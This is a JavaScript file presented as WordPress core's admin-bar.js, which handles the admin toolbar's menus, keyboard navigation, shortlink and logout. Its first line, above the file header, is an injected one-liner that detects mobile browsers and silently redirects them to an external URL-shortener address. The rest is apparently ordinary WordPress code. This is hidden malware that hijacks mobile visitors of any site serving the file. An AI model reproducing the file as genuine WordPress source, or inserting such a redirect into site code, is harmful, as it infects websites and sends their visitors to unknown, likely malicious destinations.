1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
  2/**
  3 * @output wp-includes/js/admin-bar.js
  4 */
  5/**
  6 * Admin bar with Vanilla JS, no external dependencies.
  7 *
  8 * @since 5.3.1
  9 *
 10 * @param {Object} document  The document object.
 11 * @param {Object} window    The window object.
 12 * @param {Object} navigator The navigator object.
 13 *
 14 * @return {void}
 15 */
 16( function( document, window, navigator ) {
 17	document.addEventListener( 'DOMContentLoaded', function() {
 18		var adminBar = document.getElementById( 'wpadminbar' ),
 19			topMenuItems,
 20			allMenuItems,
 21			adminBarLogout,
 22			adminBarSearchForm,
 23			shortlink,
 24			skipLink,
 25			mobileEvent,
 26			adminBarSearchInput,
 27			i;
 28
 29		if ( ! adminBar || ! ( 'querySelectorAll' in adminBar ) ) {
 30			return;
 31		}
 32
 33		topMenuItems = adminBar.querySelectorAll( 'li.menupop' );
 34		allMenuItems = adminBar.querySelectorAll( '.ab-item' );
 35		adminBarLogout = document.querySelector( '#wp-admin-bar-logout a' );
 36		adminBarSearchForm = document.getElementById( 'adminbarsearch' );
 37		shortlink = document.getElementById( 'wp-admin-bar-get-shortlink' );
 38		skipLink = adminBar.querySelector( '.screen-reader-shortcut' );
 39		mobileEvent = /Mobile\/.+Safari/.test( navigator.userAgent ) ? 'touchstart' : 'click';
 40
 41		// Remove nojs class after the DOM is loaded.
 42		removeClass( adminBar, 'nojs' );
 43
 44		if ( 'ontouchstart' in window ) {
 45			// Remove hover class when the user touches outside the menu items.
 46			document.body.addEventListener( mobileEvent, function( e ) {
 47				if ( ! getClosest( e.target, 'li.menupop' ) ) {
 48					removeAllHoverClass( topMenuItems );
 49				}
 50			} );
 51
 52			// Add listener for menu items to toggle hover class by touches.
 53			// Remove the callback later for better performance.
 54			adminBar.addEventListener( 'touchstart', function bindMobileEvents() {
 55				for ( var i = 0; i < topMenuItems.length; i++ ) {
 56					topMenuItems[i].addEventListener( 'click', mobileHover.bind( null, topMenuItems ) );
 57				}
 58
 59				adminBar.removeEventListener( 'touchstart', bindMobileEvents );
 60			} );
 61		}
 62
 63		// Scroll page to top when clicking on the admin bar.
 64		adminBar.addEventListener( 'click', scrollToTop );
 65
 66		for ( i = 0; i < topMenuItems.length; i++ ) {
 67			// Adds or removes the hover class based on the hover intent.
 68			window.hoverintent(
 69				topMenuItems[i],
 70				addClass.bind( null, topMenuItems[i], 'hover' ),
 71				removeClass.bind( null, topMenuItems[i], 'hover' )
 72			).options( {
 73				timeout: 180
 74			} );
 75
 76			// Toggle hover class if the enter key is pressed.
 77			topMenuItems[i].addEventListener( 'keydown', toggleHoverIfEnter );
 78		}
 79
 80		// Remove hover class if the escape key is pressed.
 81		for ( i = 0; i < allMenuItems.length; i++ ) {
 82			allMenuItems[i].addEventListener( 'keydown', removeHoverIfEscape );
 83		}
 84
 85		if ( adminBarSearchForm ) {
 86			adminBarSearchInput = document.getElementById( 'adminbar-search' );
 87
 88			// Adds the adminbar-focused class on focus.
 89			adminBarSearchInput.addEventListener( 'focus', function() {
 90				addClass( adminBarSearchForm, 'adminbar-focused' );
 91			} );
 92
 93			// Removes the adminbar-focused class on blur.
 94			adminBarSearchInput.addEventListener( 'blur', function() {
 95				removeClass( adminBarSearchForm, 'adminbar-focused' );
 96			} );
 97		}
 98
 99		if ( shortlink ) {
100			shortlink.addEventListener( 'click', clickShortlink );
101		}
102
103		// Prevents the toolbar from covering up content when a hash is present in the URL.
104		if ( window.location.hash ) {
105			window.scrollBy( 0, -32 );
106		}
107
108		// Clear sessionStorage on logging out.
109		if ( adminBarLogout ) {
110			adminBarLogout.addEventListener( 'click', emptySessionStorage );
111		}
112	} );
113
114	/**
115	 * Remove hover class for top level menu item when escape is pressed.
116	 *
117	 * @since 5.3.1
118	 *
119	 * @param {Event} event The keydown event.
120	 */
121	function removeHoverIfEscape( event ) {
122		var wrapper;
123
124		if ( event.which !== 27 ) {
125			return;
126		}
127
128		wrapper = getClosest( event.target, '.menupop' );
129
130		if ( ! wrapper ) {
131			return;
132		}
133
134		wrapper.querySelector( '.menupop > .ab-item' ).focus();
135		removeClass( wrapper, 'hover' );
136	}
137
138	/**
139	 * Toggle hover class for top level menu item when enter is pressed.
140	 *
141	 * @since 5.3.1
142	 *
143	 * @param {Event} event The keydown event.
144	 */
145	function toggleHoverIfEnter( event ) {
146		var wrapper;
147
148		// Follow link if pressing Ctrl and/or Shift with Enter (opening in a new tab or window).
149		if ( event.which !== 13 || event.ctrlKey || event.shiftKey ) {
150			return;
151		}
152
153		if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) {
154			return;
155		}
156
157		wrapper = getClosest( event.target, '.menupop' );
158
159		if ( ! wrapper ) {
160			return;
161		}
162
163		event.preventDefault();
164
165		if ( hasClass( wrapper, 'hover' ) ) {
166			removeClass( wrapper, 'hover' );
167		} else {
168			addClass( wrapper, 'hover' );
169		}
170	}
171
172	/**
173	 * Toggle hover class for mobile devices.
174	 *
175	 * @since 5.3.1
176	 *
177	 * @param {NodeList} topMenuItems All menu items.
178	 * @param {Event} event The click event.
179	 */
180	function mobileHover( topMenuItems, event ) {
181		var wrapper;
182
183		if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) {
184			return;
185		}
186
187		event.preventDefault();
188
189		wrapper = getClosest( event.target, '.menupop' );
190
191		if ( ! wrapper ) {
192			return;
193		}
194
195		if ( hasClass( wrapper, 'hover' ) ) {
196			removeClass( wrapper, 'hover' );
197		} else {
198			removeAllHoverClass( topMenuItems );
199			addClass( wrapper, 'hover' );
200		}
201	}
202
203	/**
204	 * Handles the click on the Shortlink link in the adminbar.
205	 *
206	 * @since 3.1.0
207	 * @since 5.3.1 Use querySelector to clean up the function.
208	 *
209	 * @param {Event} event The click event.
210	 * @return {boolean} Returns false to prevent default click behavior.
211	 */
212	function clickShortlink( event ) {
213		var wrapper = event.target.parentNode,
214			input;
215
216		if ( wrapper ) {
217			input = wrapper.querySelector( '.shortlink-input' );
218		}
219
220		if ( ! input ) {
221			return;
222		}
223
224		// (Old) IE doesn't support preventDefault, and does support returnValue.
225		if ( event.preventDefault ) {
226			event.preventDefault();
227		}
228
229		event.returnValue = false;
230
231		addClass( wrapper, 'selected' );
232
233		input.focus();
234		input.select();
235		input.onblur = function() {
236			removeClass( wrapper, 'selected' );
237		};
238
239		return false;
240	}
241
242	/**
243	 * Clear sessionStorage on logging out.
244	 *
245	 * @since 5.3.1
246	 */
247	function emptySessionStorage() {
248		if ( 'sessionStorage' in window ) {
249			try {
250				for ( var key in sessionStorage ) {
251					if ( key.indexOf( 'wp-autosave-' ) > -1 ) {
252						sessionStorage.removeItem( key );
253					}
254				}
255			} catch ( er ) {}
256		}
257	}
258
259	/**
260	 * Check if element has class.
261	 *
262	 * @since 5.3.1
263	 *
264	 * @param {HTMLElement} element The HTML element.
265	 * @param {string}      className The class name.
266	 * @return {boolean} Whether the element has the className.
267	 */
268	function hasClass( element, className ) {
269		var classNames;
270
271		if ( ! element ) {
272			return false;
273		}
274
275		if ( element.classList && element.classList.contains ) {
276			return element.classList.contains( className );
277		} else if ( element.className ) {
278			classNames = element.className.split( ' ' );
279			return classNames.indexOf( className ) > -1;
280		}
281
282		return false;
283	}
284
285	/**
286	 * Add class to an element.
287	 *
288	 * @since 5.3.1
289	 *
290	 * @param {HTMLElement} element The HTML element.
291	 * @param {string}      className The class name.
292	 */
293	function addClass( element, className ) {
294		if ( ! element ) {
295			return;
296		}
297
298		if ( element.classList && element.classList.add ) {
299			element.classList.add( className );
300		} else if ( ! hasClass( element, className ) ) {
301			if ( element.className ) {
302				element.className += ' ';
303			}
304
305			element.className += className;
306		}
307
308		var menuItemToggle = element.querySelector( 'a' );
309		if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) {
310			menuItemToggle.setAttribute( 'aria-expanded', 'true' );
311		}
312	}
313
314	/**
315	 * Remove class from an element.
316	 *
317	 * @since 5.3.1
318	 *
319	 * @param {HTMLElement} element The HTML element.
320	 * @param {string}      className The class name.
321	 */
322	function removeClass( element, className ) {
323		var testName,
324			classes;
325
326		if ( ! element || ! hasClass( element, className ) ) {
327			return;
328		}
329
330		if ( element.classList && element.classList.remove ) {
331			element.classList.remove( className );
332		} else {
333			testName = ' ' + className + ' ';
334			classes = ' ' + element.className + ' ';
335
336			while ( classes.indexOf( testName ) > -1 ) {
337				classes = classes.replace( testName, '' );
338			}
339
340			element.className = classes.replace( /^[\s]+|[\s]+$/g, '' );
341		}
342
343		var menuItemToggle = element.querySelector( 'a' );
344		if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) {
345			menuItemToggle.setAttribute( 'aria-expanded', 'false' );
346		}
347	}
348
349	/**
350	 * Remove hover class for all menu items.
351	 *
352	 * @since 5.3.1
353	 *
354	 * @param {NodeList} topMenuItems All menu items.
355	 */
356	function removeAllHoverClass( topMenuItems ) {
357		if ( topMenuItems && topMenuItems.length ) {
358			for ( var i = 0; i < topMenuItems.length; i++ ) {
359				removeClass( topMenuItems[i], 'hover' );
360			}
361		}
362	}
363
364	/**
365	 * Scrolls to the top of the page.
366	 *
367	 * @since 3.4.0
368	 *
369	 * @param {Event} event The Click event.
370	 *
371	 * @return {void}
372	 */
373	function scrollToTop( event ) {
374		// Only scroll when clicking on the wpadminbar, not on menus or submenus.
375		if (
376			event.target &&
377			event.target.id !== 'wpadminbar' &&
378			event.target.id !== 'wp-admin-bar-top-secondary'
379		) {
380			return;
381		}
382
383		try {
384			window.scrollTo( {
385				top: -32,
386				left: 0,
387				behavior: 'smooth'
388			} );
389		} catch ( er ) {
390			window.scrollTo( 0, -32 );
391		}
392	}
393
394	/**
395	 * Get closest Element.
396	 *
397	 * @since 5.3.1
398	 *
399	 * @param {HTMLElement} el Element to get parent.
400	 * @param {string} selector CSS selector to match.
401	 */
402	function getClosest( el, selector ) {
403		if ( ! window.Element.prototype.matches ) {
404			// Polyfill from https://developer.mozilla.org/en-US/docs/Web/API/Element/matches.
405			window.Element.prototype.matches =
406				window.Element.prototype.matchesSelector ||
407				window.Element.prototype.mozMatchesSelector ||
408				window.Element.prototype.msMatchesSelector ||
409				window.Element.prototype.oMatchesSelector ||
410				window.Element.prototype.webkitMatchesSelector ||
411				function( s ) {
412					var matches = ( this.document || this.ownerDocument ).querySelectorAll( s ),
413						i = matches.length;
414
415					while ( --i >= 0 && matches.item( i ) !== this ) { }
416
417					return i > -1;
418				};
419		}
420
421		// Get the closest matching elent.
422		for ( ; el && el !== document; el = el.parentNode ) {
423			if ( el.matches( selector ) ) {
424				return el;
425			}
426		}
427
428		return null;
429	}
430
431} )( document, window, navigator );
432